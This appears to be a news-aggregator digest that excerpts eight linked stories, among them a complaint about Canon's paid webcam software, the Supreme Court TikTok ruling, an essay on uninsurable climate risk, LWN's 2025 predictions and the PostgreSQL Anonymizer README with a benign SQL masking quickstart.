10 interesting stories served every morning and every evening.




1 955 shares, 61 trendiness

No, you can't use your $6,299.00 Camera as a Webcam. That will be $5 – Roman Zipp

Hey Hacker News! Thanks for the feed­back and sug­ges­tions, looks like many of you feel the same way. Also there’s now a RSS feed.

Companies squeez­ing every last penny out of their cus­tomers is no news. And Canon is no stranger.

Last year, I’ve bought a Canon G5 X II cam­era which I wanted to use mainly for tak­ing pic­tures at con­certs. For me, it was the per­fect match of fo­cal range (zoom) and sen­sor size (more light) for any com­pact cam­era I’ve com­pared.

Because I’m only us­ing this cam­era for a small range of events, it’s just col­lect­ing dust in the mean­time.

So, why don’t use it as a we­b­cam with my Macbook?

Admittedly, it did not cost me the $6300 from the ar­ti­cle’s ti­tle, much closer to $900. Nonetheless, every­thing I’m de­scrib­ing trans­lates to every other Canon cam­era model!

I’ve tried this at first in 2024 with ma­cOS 14, which did not work. I had sim­i­lar ex­pe­ri­ence with FUJIFILMs X Webcam soft­ware where ei­ther the cam­era will not get rec­og­nized by the soft­ware or the cam­era feed will freeze or sim­ply be not avail­able within other apps.

As of January 2025 with ma­cOS 15 Sequoia, these is­sues have been re­solved for me.

Well ac­tu­ally, only if you are able to down­load the soft­ware at all. Seems like their Microsoft IIS server is hav­ing some is­sues. The fol­low­ing er­ror page will be pre­sented to you, af­ter they asked you for your full le­gal name and mail ad­dress - with­out which you can not down­load the soft­ware.

So I’ve been re­ally ex­cited when I fi­nally found a down­load­able file on the Canon web­page which was not blocked by a faulty newslet­ter grift and saw the live feed of my cam­era!

Well the ex­cite­ment did­n’t last long since nearly every sin­gle set­ting is dis­abled if you’re us­ing the soft­ware with­out a pay­ing Canon ac­count.

No bright­ness ad­just­ments, no color cor­rec­tion, only 720p. Even in the paid ver­sion there does­n’t seem to be a white bal­ance ad­just­ment set­ting.

Canon will hap­pily take your credit card for you to pay a small monthly price of $4.99 per month or even a dis­counted $49.99 per year!

** The 30-day free trial is val­ued at $4.99 and can be can­celled at any time dur­ing the free trial pe­riod through your MyCanon Account Dashboard. After the free trial pe­riod, your sub­scrip­tion will au­to­mat­i­cally be rolled over into the an­nual or monthly non-re­fund­able, auto-re­new­able sub­scrip­tion se­lected upon en­roll­ment in the free trial, which can be can­celled at any time through your MyCanon Account Dashboard. The cur­rent avail­able sub­scrip­tion plans are $49.99/year or $4.99/month.

In a sup­port doc­u­ment, Canon lists all dif­fer­ences be­tween the free and paid ver­sion. So you can be very glad­ful, they al­low you to even con­nect the cam­era.

Software de­vel­op­ment is­n’t free, and I’m happy to pay for soft­ware I use reg­u­larly. However, Canon is a hard­ware com­pany, not a soft­ware com­pany, and they should—due to the lack of stan­dards—pro­vide soft­ware that al­lows you to use their cam­eras as in­tended. Aside from de­vel­op­ment costs, there’s no jus­ti­fi­ca­tion for a sub­scrip­tion model, par­tic­u­larly from a com­pany earn­ing nearly $3 bil­lion in profit.

So Canon will not al­low you to use your own cam­era on your own com­puter with your own ca­bles the way you in­tent to with­out pay­ing for an­other sub­scrip­tion.

...

Read the original on romanzipp.com »

2 874 shares, 1 trendiness

FFmpeg By Example

If you feel like this ex­am­ple could be im­proved, you may edit this ex­am­ple here.

...

Read the original on ffmpegbyexample.com »

3 743 shares, 83 trendiness

Supreme Court upholds TikTok ban, but Trump might offer lifeline

The Supreme Court on Friday up­held the law re­quir­ing China-based ByteDance to di­vest its own­er­ship of TikTok by Sunday or face an ef­fec­tive ban of the pop­u­lar so­cial video app in the U. S.

ByteDance has so far re­fused to sell TikTok, mean­ing many U. S. users could lose ac­cess to the app this week­end. The app may still work for those who al­ready have TikTok on their phones, al­though ByteDance has also threat­ened to shut the app down.

In a unan­i­mous de­ci­sion, the Supreme Court sided with the Biden ad­min­is­tra­tion, up­hold­ing the Protecting Americans from Foreign Adversary Controlled Applications Act, which President Joe Biden signed in April.

There is no doubt that, for more than 170 mil­lion Americans, TikTok of­fers a dis­tinc­tive and ex­pan­sive out­let for ex­pres­sion, means of en­gage­ment, and source of com­mu­nity,” the Supreme Court’s opin­ion said. But Congress has de­ter­mined that di­vesti­ture is nec­es­sary to ad­dress its well-sup­ported na­tional se­cu­rity con­cerns re­gard­ing TikTok’s data col­lec­tion prac­tices and re­la­tion­ship with a for­eign ad­ver­sary.”

TikTok’s fate in the U. S. now lies in the hands of President-elect Donald Trump,  who orig­i­nally fa­vored a TikTok ban dur­ing his first ad­min­is­tra­tion, but has since flip-flopped on the mat­ter. In December, Trump asked the Supreme Court to pause the law’s im­ple­men­ta­tion and al­low his ad­min­is­tra­tion the op­por­tu­nity to pur­sue a po­lit­i­cal res­o­lu­tion of the ques­tions at is­sue in the case.”

In a post on his so­cial me­dia app Truth Social, Trump wrote that the de­ci­sion was ex­pected and every­one must re­spect it.”

My de­ci­sion on TikTok will be made in the not too dis­tant fu­ture, but I must have time to re­view the sit­u­a­tion. Stay tuned!” Trump wrote.

Trump be­gan to speak more fa­vor­ably of TikTok af­ter he met in February with bil­lion­aire Republican megadonor Jeff Yass. Yass is a ma­jor ByteDance in­vestor who also owns a stake in the owner of Truth Social.

Trump will be in­au­gu­rated Monday, one day af­ter the TikTok dead­line for a sale. Tik­Tok CEO Shou Chew is one of sev­eral tech lead­ers ex­pected to be in at­ten­dance, seated on the dais.

In a video posted on TikTok, Chew thanked Trump for his com­mit­ment to work with us to find a so­lu­tion that keeps TikTok avail­able” in the U. S. He said use of TikTok is a First Amendment right, adding that over 7 mil­lion American busi­nesses use it to make money and find cus­tomers.

Rest as­sured, we will do every­thing in our power to en­sure our plat­form thrives as your on­line home for lim­it­less cre­ativ­ity and dis­cov­ery as well as a source of in­spi­ra­tion and joy for years to come,” he said.

...

Read the original on www.cnbc.com »

4 426 shares, 20 trendiness

Is the World Becoming Uninsurable?

I ask the ques­tion, is the world be­com­ing unin­sur­able?” not as an ex­pert on the in­sur­ance in­dus­try but as a home­owner who can no longer ob­tain hur­ri­cane in­sur­ance, and as an ob­server of long-term trends keenly in­ter­ested in the way global risks pile up ei­ther un­seen, de­nied or mis­in­ter­preted un­til it’s too late to mit­i­gate them.

The prob­a­bil­ity that we’re en­ter­ing an era of glob­ally higher risks is in­creas­ing, and this is aware­ness is vis­i­ble in head­lines such as these:

Home Losses From the LA Fires Hasten An Uninsurable Future’ (Time)

The Age of Climate Disaster Is Here: Preparing for a Future of Extreme Weather (Foreign Affairs)

We’re in a New Era’: How Climate Change Is Supercharging Disasters (New York Times)

This is not an ab­strac­tion, though many are treat­ing it as a pol­icy de­bate. As noted pre­vi­ously here, the in­sur­ance in­dus­try is not a char­ity, and in­sur­ers bear the costs that are in­creas­ing re­gard­less of opin­ions and pol­icy pro­pos­als. Insurers op­er­ate in the real world, and their de­ci­sions to pull out of en­tire re­gions, re­duce cov­er­age and in­crease pre­mi­ums are all re­sponses to soar­ing losses, a re­al­ity re­flected in these charts.

Losses rise with in­fla­tion, of course, but the losses are ris­ing far above back­ground in­fla­tion.

This raises a point few seem to pon­der: the world is­n’t sim­ply a po­lit­i­cal struc­ture, yet vir­tu­ally all the pro­posed so­lu­tions to every prob­lem are po­lit­i­cal or tech­no­log­i­cal in na­ture: we can solve this or that po­lit­i­cally, or with AI. That the pri­vate-sec­tor can trig­ger crises that have no po­lit­i­cal or tech­no­log­i­cal fix is on very few pun­dits’ radar.

Uninsurable risk is one such prob­lem.

Like vir­tu­ally all prob­lems, it’s been ap­proached as a prob­lem with a po­lit­i­cal so­lu­tion: the state or fed­eral gov­ern­ment can force in­sur­ers to con­tinue of­fer­ing poli­cies that put them on the hook for ad­di­tional cat­a­strophic losses, and / or be­come insurers of last re­sort.”

That nei­ther is a so­lu­tion to the ac­tual prob­lem is glossed over, be­cause as a so­ci­ety, we’ve be­come ac­cus­tomed to the idea that there is a po­lit­i­cal so­lu­tion to all prob­lems.

So the California au­thor­i­ties have pro­hib­ited in­sur­ers from can­celling cov­er­age within the fire zones:

California Insurance Commissioner has is­sued a manda­tory one-year mora­to­rium that will pro­hibit in­sur­ance com­pa­nies from en­act­ing non-re­newals and can­cel­la­tions of cov­er­age for home own­ers within the perime­ters or ad­join­ing ZIP Codes of the Palisades and Eaton fires in Los Angeles County re­gard­less of whether they suf­fered a loss. The mora­to­rium will ex­pire on Jan. 7, 2026.”

As for be­com­ing the insurer of last re­sort,” states are find­ing pro­vid­ing such cov­er­age is a fi­nan­cial black hole:

The wild­fires lay bare an in­sur­ance cri­sis in California.

Even be­fore this week’s wild­fires, of­fi­cials in the re­gion had warned that the California FAIR plan, a state-run in­surer of last re­sort that has in­creas­ingly be­come a main source of cov­er­age for res­i­dents, was one bad fire sea­son away from com­plete in­sol­vency.”

The FAIR plan’s ex­po­sure soared by 61 per­cent year-on-year to $458 bil­lion by the end of September, ac­cord­ing to Mr. Heleniak. Driving that is the flight of in­sur­ers from the California mar­ket: Between 2020 and 2022, pri­vate in­sur­ers dropped cov­er­age for 2.8 mil­lion home in­sur­ance cus­tomers, Mr. Heleniak wrote.

One prob­lem for in­sur­ers and Californians: Unlike hur­ri­canes, wild­fires are harder to model, ratch­et­ing up the risk.”

The prob­lems be­ing ex­posed do not lend them­selves to tidy po­lit­i­cal / pol­icy fixes that mag­i­cally re­turn the world to a past era of lower risks. Risks and losses can­not be ex­tin­guished, they can only be trans­ferred to oth­ers. This is the in­trin­sic limit of po­lit­i­cal fixes: we take the risks and losses and trans­fer them to oth­ers lack­ing the po­lit­i­cal power to con­test the trans­fer.

Or we trans­fer the risks and losses to the en­tire sys­tem, in­creas­ing the po­ten­tial for a sys­temic col­lapse.

Consider the re­al­i­ties of act­ing as the insurer of last re­sort.” The in­sur­ance in­dus­try is built on a foun­da­tion of a hand­ful of re-in­sur­ance com­pa­nies that pro­vide in­sur­ance to in­sur­ers should losses over­whelm the ex­pected norms.

If re-in­sur­ers de­cide not to of­fer cov­er­age due to high risks or risks that can­not be es­ti­mated with any re­li­a­bil­ity, then the insurer of last re­sort” is self-in­sur­ing all po­ten­tial losses, mean­ing if the house will cost $500,000 to re­build, $500,000 in cash must be kept in re­serve, be­cause there is no guar­an­tee a lender will risk of­fer­ing a mort­gage with­out con­ven­tional in­sur­ance.

If the state or fed­eral gov­ern­ment of­fers an open check­book–we’ll pay any and all losses, no ques­tions asked–then those ul­ti­mately pay­ing these as­tro­nom­i­cal bills–the tax­pay­ers–will rea­son­ably ask: why are we sub­si­diz­ing peo­ple to re­build in places that are clearly no longer hab­it­able due to the prob­a­bil­i­ties of an­other fire, flood or hur­ri­cane?

In other words, the en­tire idea of be­ing an insurer of last re­sort” is based on an un­lim­ited sup­ply of money to fund losses that no longer make fi­nan­cial sense. If re­build­ing a house de­stroyed in a 100 year flood” once made sense, now that there’s a 100 year flood” every five years, re­build­ing in that lo­cale no longer makes sense. So why should tax­pay­ers ab­sorb the costs of this se­lec­tive blind­ness to the re­al­i­ties of ris­ing global risks?

This is not the first time cli­mate change has im­pacted civ­i­liza­tion in ways that are not vis­i­ble to or ac­cepted by those liv­ing through the tran­si­tion.

The early 1600s were an era of global crises, con­flict and col­lapse, largely dri­ven by cooler weather that re­duced crop yields and thus the caloric in­take of peo­ple, leav­ing them more prone to suc­cumb­ing to dis­ease and more will­ing to over­throw their rulers. For their part, this made rulers more will­ing to risk war and make hasty, ill-ad­vised de­ci­sions that ac­cel­er­ated the crises.

The book Global Crisis: War, Climate Change and Catastrophe in the Seventeenth Century by Geoffrey Parker of­fers a com­pre­hen­sive overview of these dy­nam­ics.

Another era in which risks rose with­out par­tic­i­pants re­al­iz­ing that global cir­cum­stances were pres­sur­ing economies and so­ci­eties ad­versely nearly brough the Roman Empire to its knees: the Third Century Crisis, a pe­riod in Roman his­tory, span­ning roughly from 235 to 284 AD, where the Roman Empire nearly col­lapsed due to a se­ries of in­ter­nal civil wars, bar­bar­ian in­va­sions, eco­nomic in­sta­bil­ity, and a chaotic suc­ces­sion of em­per­ors.”

The emer­gence of poly­cri­sis fu­eled by cli­mate change and glob­al­ized trade (which de­liv­ers in­sta­bil­ity and pan­demics along with goods) has been ably de­scribed by Kyle Harper, in this Smithsonian mag­a­zine ar­ti­cle

How Climate Change and Plague Helped Bring Down the Roman Empire

and in his 2019 book, The Fate of Rome: Climate, Disease, and the End of an Empire.

Ours is an era soaked in the hubris of no lim­its”: there are no lim­its on hu­man in­ge­nu­ity, and so there are no lim­its on what we can do in the real world. Limits are anath­ema in to­day’s zeit­geist, and so the idea that Nature im­poses lim­its that man­i­fest as fi­nan­cial lim­its–go ahead and print $100 tril­lion to fund every no lim­its” pro­posal, but that will de­stroy the value of all the money” we’re cre­at­ing to fund no lim­its”–is un­ac­cept­able.

In times less al­ler­gic to lim­its and more will­ing to face fi­nan­cial re­al­i­ties, peo­ple ac­cepted that it made no sense to build more than sea­sonal shacks along coast­lines prone to dev­as­ta­tion. To give up per­ma­nent res­i­dences with air con­di­tion­ing and all the lux­u­ries of mod­ern life be­cause these no longer make fi­nan­cial sense is a taboo topic.

I have long held that the world has been blessed with 60+ years of ben­e­fi­cial weather, and so we’ve been blessed with 60+ years of agri­cul­tural sur­pluses glob­ally. It seems likely this era is end­ing, and we’re as yet un­pre­pared for this con­tin­gency: food might be­come not just scarce but chron­i­cally scarce.

As I’ve noted pre­vi­ously, diesel-fu­eled ro­bots can roam the field zap­ping weeds with lasers, but what’s the point of that tech­nol­ogy if there’s no rain or high winds and heavy rain de­stroyed the har­vest? That there are lim­its on our tech­no­log­i­cal pow­ers is also taboo. Diesel does­n’t de­liver the right amount of rain, and nei­ther does AI.

It was­n’t co­in­ci­dence that the Bastille was torn down just as the price of bread spiked to un­af­ford­abil­ity. Scarcities, short­ages, ris­ing prices and the il­lu­sions of no lim­its” all re­in­force each other. And since the par­tic­i­pants ei­ther don’t grasp or refuse to ac­cept the na­ture of the new era of ris­ing risk, they seek scape­goats in what they do grasp: pol­i­tics, poli­cies, and the trans­fer of losses and risk to oth­ers.

As I’ve of­ten sought to ex­plain, trans­fer­ring losses and risk to the en­tire sys­tem seems to ex­tin­guish the risk by di­lut­ing it in a larger pool of re­sources. So the losses trig­gered by the Global Financial Crisis of 2008 were ab­sorbed by the en­tire fi­nan­cial sys­tem and econ­omy, pools of re­sources large enough to di­lute the losses to the point that the il­lu­sion that the risk had van­ished could be sus­tained.

But risk is­n’t ex­tin­guished, it’s only trans­ferred, and how it man­i­fests is based on com­plex in­ter­ac­tions, de­pen­dency chains, over-op­ti­miza­tion and the ero­sion of re­silience. The risks of a global fi­nan­cial melt­down did­n’t van­ish in 2009; those risks were trans­ferred to the sys­tem as a whole, a trans­fer that con­tin­ues to this day, as risk piles up in a sys­temic fash­ion few see, or dare to rec­og­nize.

This same re­luc­tance to rec­og­nize sys­tem risk is ev­i­dent in global sup­ply chains, the global food sup­ply, and every other tightly bound, highly in­ter­con­nected sys­tem we de­pend on.

Is the world be­com­ing unin­sur­able? The an­swer is yes, in two ways. One is the re­al­ity that much of what we take as our God-given right no longer makes fi­nan­cial sense, and even­tu­ally the costs of cling­ing onto a sta­tus quo that no longer aligns with real-world lim­its will have to be cov­ered by tak­ing re­sources and cap­i­tal from some­thing else we take as our God-given in­her­i­tance.

It boils down to the clas­sic sce­nario in which we want three things but are lim­ited to choos­ing two. Once sys­tem risks start man­i­fest­ing, we’ll be re­duced to sav­ing one and sac­ri­fic­ing two. If we refuse to ac­cept that triage, we’ll end up sav­ing noth­ing.

The other way the world is be­com­ing unin­sur­able is much of what we take for granted–abun­dant, af­ford­able re­sources, prod­ucts, food and fuel, for ex­am­ple–is not guar­an­teed, and can­not be in­sured by po­lit­i­cal or tech­no­log­i­cal means. This won’t stop us from pur­su­ing the hubris­tic ex­tremes of no lim­its,” but that pur­suit will has­ten the col­lapse made in­evitable by trans­fer­ring all risks to the sys­tem. The pool of re­sources is not in­fi­nite, and so the risks can no longer be di­luted.

Highlights of the Blog

The Easy Credit, High Interest Rate Swindle 1/9/25

I Quit! The Tsunami of Burnout Few See 1/7/25

High Interest Rates Are Healthy, Low Rates Are Poison 1/6/25

Best Thing That Happened To Me This Week

We opened and grated some of our co­conuts af­ter a long hia­tus, and baked co­conut short­bread cook­ies and a co­conut pie to share with friends.

The miss­ing cook­ies were sam­pled for quality con­trol pur­poses” (heh).

Few peo­ple make these treats nowa­days be­cause there is no way to ob­tain the re­sults with­out a lot of la­bor.

What’s on the Book Shelf

The Fate of Rome: Climate, Disease, and the End of an Empire.

Global Crisis: War, Climate Change and Catastrophe in the Seventeenth Century.

From Left Field

NOTE TO NEW READERS: This list is not com­prised of ar­ti­cles I agree with or that I judge to be cor­rect or of the high­est qual­ity. It is rep­re­sen­ta­tive of the con­tent I find in­ter­est­ing as re­flec­tions of the cur­rent zeit­geist. The list is in­tended to be pe­rused with an open, crit­i­cal, oc­ca­sion­ally amused mind.

Many links are be­hind pay­walls. Most pay­walled sites al­low a few free ar­ti­cles per month if you reg­is­ter. It’s the New Normal.

The Mismeasure of Money

The Grand Macro Strategy” Of 2025: What US Economic Statecraft Will Look Like Under Trump

The rise and rise of Maye Musk: China’s love af­fair with Elon Musk’s mother

The Telepathy Tapes (via Richard M.)

Husserl vs. Heidegger: Two Takes on Phenomenology

He’s anti-democ­racy and pro-Trump: the ob­scure dark en­light­en­ment’ blog­ger in­flu­enc­ing the next US ad­min­is­tra­tion

The Depletion Paradox (via Cheryl A.)

FEDERAL FUNDS RATES AND SOLAR ACTIVITY (1955-2024): EVIDENCE OF A VERY HIGH CORRELATION (via Atreya)

America, China, and the Death of the International Monetary Non-System (Russell Napier)

I found trea­sures in a ship­wreck.

As Flames Consume Architectural Gems, a Hit to Old California’

You should never play to win but so as not to lose. Think what moves will be quick­est beaten, avoid mak­ing them, and make what­ever move will take most time to beat. In learn­ing any ac­com­plish­ment, in con­trol­ling one’s own con­duct, and in gov­ern­ing a na­tion, the same rule ap­plies.” Yoshida Kenko

...

Read the original on charleshughsmith.substack.com »

5 288 shares, 11 trendiness

Learn Yjs by Jamsocket

Welcome to Learn Yjs — an in­ter­ac­tive tu­to­r­ial se­ries on build­ing re­al­time col­lab­o­ra­tive ap­pli­ca­tions us­ing the Yjs CRDT li­brary.

This very page is an ex­am­ple of a re­al­time col­lab­o­ra­tive ap­pli­ca­tion. Every other cur­sor in the gar­den above is a real live per­son read­ing the page right now. Click one of the plants to change it for every­one else!

Learn Yjs starts with the ba­sics of Yjs, then cov­ers tech­niques for han­dling state in dis­trib­uted ap­pli­ca­tions. We’ll talk about what a CRDT is, and why you’d want to use one. We’ll get into some of the pit­falls that make col­lab­o­ra­tive ap­pli­ca­tions dif­fi­cult and show how you can avoid them. There will be ex­plorable demos and code ex­er­cises so you can get a feel for how Yjs re­ally works.

Here’s an ex­am­ple of an ex­plorable demo. Each box be­low rep­re­sents a client — a sep­a­rate com­puter run­ning an app that uses Yjs. When you in­ter­act with ei­ther client, the changes are au­to­mat­i­cally synced to the other one. You can con­trol the la­tency with the slider on the top left to see how clients would in­ter­act over a net­work.

Great — let’s get started! Click on the but­ton be­low to visit Lesson 1.

Learn Yjs is a pro­ject by Jamsocket, a plat­form for build­ing re­al­time apps. The live cur­sors and mul­ti­player gar­den on this page are pow­ered by Y-Sweet, our open source Yjs server with built-in per­sis­tence.

The web­site is built with Astro. The in­ter­ac­tive demos and ex­er­cises are built with React and Yjs.

...

Read the original on learn.yjs.dev »

6 257 shares, 15 trendiness

Thoughts On A Month With Devin – Answer.AI

...

Read the original on www.answer.ai »

7 253 shares, 10 trendiness

Some things to expect in 2025 [LWN.net]

Did you know…?

LWN.net is a sub­scriber-sup­ported pub­li­ca­tion; we rely on sub­scribers to keep the en­tire op­er­a­tion go­ing. Please help out by buy­ing a sub­scrip­tion and keep­ing LWN on the net.

We are re­li­ably in­formed by the cal­en­dar that yet an­other year has be­gun.

That can only mean one thing: the time has come to go out on a limb with a

se­ries of ill-ad­vised pre­dic­tions that are al­most cer­tainly how

the year will ac­tu­ally go. We have to try; it’s tra­di­tional, af­ter all.

Read on for our view of what’s com­ing and how it may play out.

The ex­ten­si­ble sched­ul­ing class (sched-ext) will be a game changer. Already we have seen, in 2024, how the abil­ity to load a CPU sched­uler from user space as a set of BPF pro­grams has un­leashed a great deal of cre­ativ­ity; that was be­fore sched-ext was part of a re­leased ker­nel. In 2025, this fea­ture will start show­ing up in more dis­tri­b­u­tions, and more peo­ple will be able to play with it. The re­sult will be a flood of new sched­ul­ing ideas, each of which can be quickly tested (and im­proved) on real sys­tems. Some of those ideas will re­sult in spe­cialty sched­ulers in­cluded with fo­cused dis­tri­b­u­tions (systems for gam­ing, for ex­am­ple); oth­ers, hope­fully, will even­tu­ally find their way into the ker­nel’s EEVDF sched­uler.

Code writ­ten in Rust will land in the ker­nel at an in­creas­ing rate

over the course of the year as a re­sult of the in­creased avail­abil­ity of ab­strac­tions and greater fa­mil­iar­ity with the lan­guage in the ker­nel com­mu­nity. The Rust code that has been merged so far is mostly in­fra­struc­ture and proofs of con­cept; in 2025, we’ll see Rust code that end users will run — but they may never no­tice. The num­ber of un­sta­ble lan­guage fea­tures needed by the ker­nel will drop sig­nif­i­cantly as those fea­tures are sta­bi­lized by the Rust com­mu­nity.

Another XZ-like back­door at­tempt will come to light. Existing code bases have been scoured for at­tacks sim­i­lar to those used against XZ; lit­tle has been found, but that does not mean that there are not other on­go­ing ef­forts, us­ing dif­fer­ent tech­niques, out there. The po­ten­tial pay­off for a gov­ern­ment agency or other suit­ably well-funded or­ga­ni­za­tion is sim­ply too high for all of them to ig­nore; some­body is surely try­ing some­thing.

Increasingly, sin­gle-main­tainer pro­jects (or sub­sys­tems, or pack­ages)

will be seen as risky by their users. Security in­ci­dents like the XZ back­door at­tempt will be part of that, but a pro­ject with a sin­gle main­tainer is also sub­ject to all of the other prob­lems as­so­ci­ated with burnout and in­suf­fi­cient time to do the job prop­erly. Such a pro­ject will never be as re­li­able as one would like.

A ma­jor pro­ject will dis­cover that it has merged a lot of AI-generated

code, a fact that may be­come ev­i­dent when it be­comes clear that the al­leged au­thor does not ac­tu­ally un­der­stand what the code does. We de­pend on our de­vel­op­ers to con­tribute their own work and to stand be­hind it; large lan­guage mod­els can­not do that. A pro­ject that dis­cov­ers such code in its repos­i­tory may face the un­pleas­ant prospect of re­vert­ing sig­nif­i­cant changes.

Meanwhile, we will see more fo­cused ef­forts to cre­ate truly free

gen­er­a­tive AI sys­tems, per­haps in­clud­ing the cre­ation of one or more foun­da­tions to sup­port the cre­ation of the mod­els. This work will in­clude a great deal of in­no­va­tion fo­cused on re­duc­ing the re­sources that these mod­els need, dri­ven by the much lower level of re­sources avail­able. The re­sult­ing code will help to in­crease the ac­cess to — and con­trol over — these sys­tems, with un­known re­sults; not every­body will use them for good pur­poses.

We may also see the launch of one or more foun­da­tions aimed specif­i­cally

at pro­vid­ing sup­port for main­tain­ers. Even com­pa­nies that con­tribute en­thu­si­as­ti­cally to free-soft­ware pro­jects of­ten balk at sup­port­ing the main­tainer role, de­spite the fact that pro­jects don’t work with­out main­tain­ers. But per­haps some of those com­pa­nies can be en­cour­aged to sup­port a sep­a­rate en­tity that promises to solve — or at least im­prove — the main­tainer sit­u­a­tion for spe­cific pro­jects of in­ter­est. The main­tainer role will still be se­verely un­der-sup­ported at the end of the year, though.

Foundations sup­port­ing free-soft­ware work will con­tinue to strug­gle

in 2025, though, con­tin­u­ing the trend seen in 2024. The com­ing year does not look like a time of in­creas­ing gen­eros­ity in gen­eral, so or­ga­ni­za­tions that de­pend on the gen­eros­ity of oth­ers will have their work cut out for them.

There will be more cloud-based prod­ucts turned to bricks by man­u­fac­tur­ers that go bank­rupt or sim­ply stop car­ing. Surveillance and data-breach prob­lems with cloud-con­nected prod­ucts will also hap­pen with dis­cour­ag­ing reg­u­lar­ity over the course of the year; see the sto­ries on air-fryer

sur­veil­lance or the Volkswagen

elec­tric-ve­hi­cle data leak for re­cent ex­am­ples. Perhaps 2025 will be the year when aware­ness of the down­sides of ex­ten­sive cloud con­nec­tiv­ity will be­come more wide­spread. There is an op­por­tu­nity for free-soft­ware al­ter­na­tives, such as Home

Assistant, to make in­roads by demon­strat­ing a bet­ter way to man­age per­sonal data. Truly tak­ing ad­van­tage of that op­por­tu­nity will re­quire a user fo­cus that is not al­ways our com­mu­ni­ty’s strong point, but one can al­ways hope.

As a corol­lary to the above, more fully open hard­ware will be­come

avail­able in 2025. The OpenWrt One, which hit the mar­ket in 2024, quickly sold out its ini­tial pro­duc­tion run. There is clearly an ap­petite for hard­ware that can be truly owned by its pur­chasers, and our com­mu­nity has the skills and tools needed to make such hard­ware. Expect some in­ter­est­ing pro­jects to launch in the com­ing year.

Distributions for mo­bile de­vices will see a resur­gence in in­ter­est

in the com­ing year. In the early days of Android, it was com­mon to re­place a phone ven­dor’s soft­ware with CyanogenMod or an­other de­riv­a­tive; it was the best way to get the most con­trol and func­tion­al­ity out of the de­vice. As Android im­proved, many of us stopped go­ing to that ex­tra ef­fort. Increasing pri­vacy and se­cu­rity con­cerns, paired with in­creas­ing qual­ity on the part of the al­ter­na­tive dis­tri­b­u­tions, will start to drive some users away from stock Android once again.

Finally, global bel­liger­ence will make it­self felt in our com­mu­nity. The world as a whole does not ap­pear to be headed in a peace­ful di­rec­tion; even if new con­flicts do not spring up, the ex­ist­ing ones will be enough to af­fect the de­vel­op­ment com­mu­nity. Developers from out-of-fa­vor parts of the world may, again, find them­selves ex­cluded, re­gard­less of any per­sonal cul­pa­bil­ity they may have for the evil ac­tions of their gov­ern­ments or em­ploy­ers.

This is be­ing writ­ten in the US, where pol­i­tics have taken a dis­tinct us ver­sus them” turn; such trends are not lim­ited to this coun­try, though. That at­ti­tude runs strongly against the foun­da­tions our com­mu­nity was built on; we are build­ing sys­tems for every­body, ac­cept­ing the con­tri­bu­tions of any­body who is will­ing and able to help. We have shown that it is pos­si­ble to build a global com­mu­nity that can ac­com­plish amaz­ing things and change the world. This com­ing year would be a good one in which to show that we are still ca­pa­ble of do­ing that. As some strive to tear our in­sti­tu­tions down, we can work to make our in­sti­tu­tions stronger than ever.

LWN will be­gin its 27th year of pub­li­ca­tion in January; we are one in­sti­tu­tion that is proud to have been a part of the Linux and free-soft­ware com­mu­ni­ties for so long, and we have no in­ten­tion of stop­ping now. Whatever hap­pens in 2025, we’ll be here to write about it and, hope­fully, spread some light and un­der­stand­ing. And, of course, we’ll re­turn to these pre­dic­tions in December to have a good laugh at just how far off they turned out to be.

Best wishes to all of you; LWN would not be what it is with­out our read­ers. We wish an es­pe­cially happy and pros­per­ous 2025 to our sub­scribers; with­out you, we would not have been around for all these years.

...

Read the original on lwn.net »

8 207 shares, 14 trendiness

PostgreSQL Anonymizer

PostgreSQL Anonymizer is an ex­ten­sion to mask or re­place

per­son­ally iden­ti­fi­able in­for­ma­tion (PII) or com­mer­cially sen­si­tive data from a Postgres data­base.

The pro­ject has a de­clar­a­tive ap­proach of anonymiza­tion. This means you can

de­clare the mask­ing rules us­ing the PostgreSQL Data Definition Language (DDL) and spec­ify your anonymiza­tion pol­icy in­side the table de­f­i­n­i­tion it­self.

The main goal of this ex­ten­sion is to of­fer anonymiza­tion by de­sign. We firmly be­lieve that data mask­ing rules should be writ­ten by the peo­ple who de­velop the ap­pli­ca­tion be­cause they have the best knowl­edge of how the data model works. Therefore mask­ing rules must be im­ple­mented di­rectly in­side the data­base schema.

Once the mask­ing rules are de­fined, you can ap­ply them us­ing 5 dif­fer­ent

mask­ing meth­ods :

Each method has its pros and cons. Different mask­ing meth­ods may be used in dif­fer­ent con­texts. In any case, mask­ing the data di­rectly in­side the PostgreSQL in­stance with­out us­ing an ex­ter­nal tool is cru­cial to limit the ex­po­sure and the risks of data leak.

In ad­di­tion, var­i­ous Masking Functions are avail­able : ran­dom­iza­tion, fak­ing, par­tial scram­bling, shuf­fling, noise or even your own cus­tom func­tion!

Finally, the ex­ten­sion of­fers a panel of de­tec­tion func­tions that will try to guess which columns need to be anonymized.

ANON_IMG=reg­istry.git­lab.com/​dal­ibo/​post­gresql_anonymizer

docker run –name anon_quick­start –detach -e POSTGRES_PASSWORD=x $ANON_IMG

docker exec -it anon_quick­start psql -U post­gres

Step 1. Create a data­base and load the ex­ten­sion in it

CREATE DATABASE demo;

ALTER DATABASE demo SET ses­sion_pre­load­_li­braries = anon’

\connect demo

You are now con­nected to data­base demo” as user postgres”.

CREATE TABLE peo­ple AS

SELECT 153478 AS id,

Sarah’ AS first­name,

Conor’ AS last­name,

0609110911’ AS phone

SELECT * FROM peo­ple;

id | first­name | last­name | phone

153478 | Sarah | Conor | 0609110911

Step 3. Create the ex­ten­sion and ac­ti­vate the mask­ing en­gine

CREATE EXTENSION anon;

ALTER DATABASE demo SET anon.trans­par­en­t_­dy­nam­ic_­mask­ing TO true;

CREATE ROLE skynet LOGIN;

SECURITY LABEL FOR anon ON ROLE skynet IS MASKED;

GRANT pg_read­_al­l_­data to skynet;

SECURITY LABEL FOR anon ON COLUMN peo­ple.last­name

IS MASKED WITH FUNCTION anon.dum­my_last_­name()’;

SECURITY LABEL FOR anon ON COLUMN peo­ple.phone

IS MASKED WITH FUNCTION anon.par­tial(phone,2,$$******$$,2)’;

\connect - skynet

You are now con­nected to data­base demo” as user skynet”

SELECT * FROM peo­ple;

id | first­name | last­name | phone

153478 | Sarah | Stranahan | 06******11

With PostgreSQL Anonymizer we in­te­grate, from the de­sign of the data­base, the prin­ci­ple that out­side pro­duc­tion the data must be anonymized. Thus we can re­in­force the GDPR rules, with­out af­fect­ing the qual­ity of the tests dur­ing ver­sion up­grades for ex­am­ple.

— Thierry Aimé, Office of Architecture and Standards in the French

Public Finances Directorate General (DGFiP)

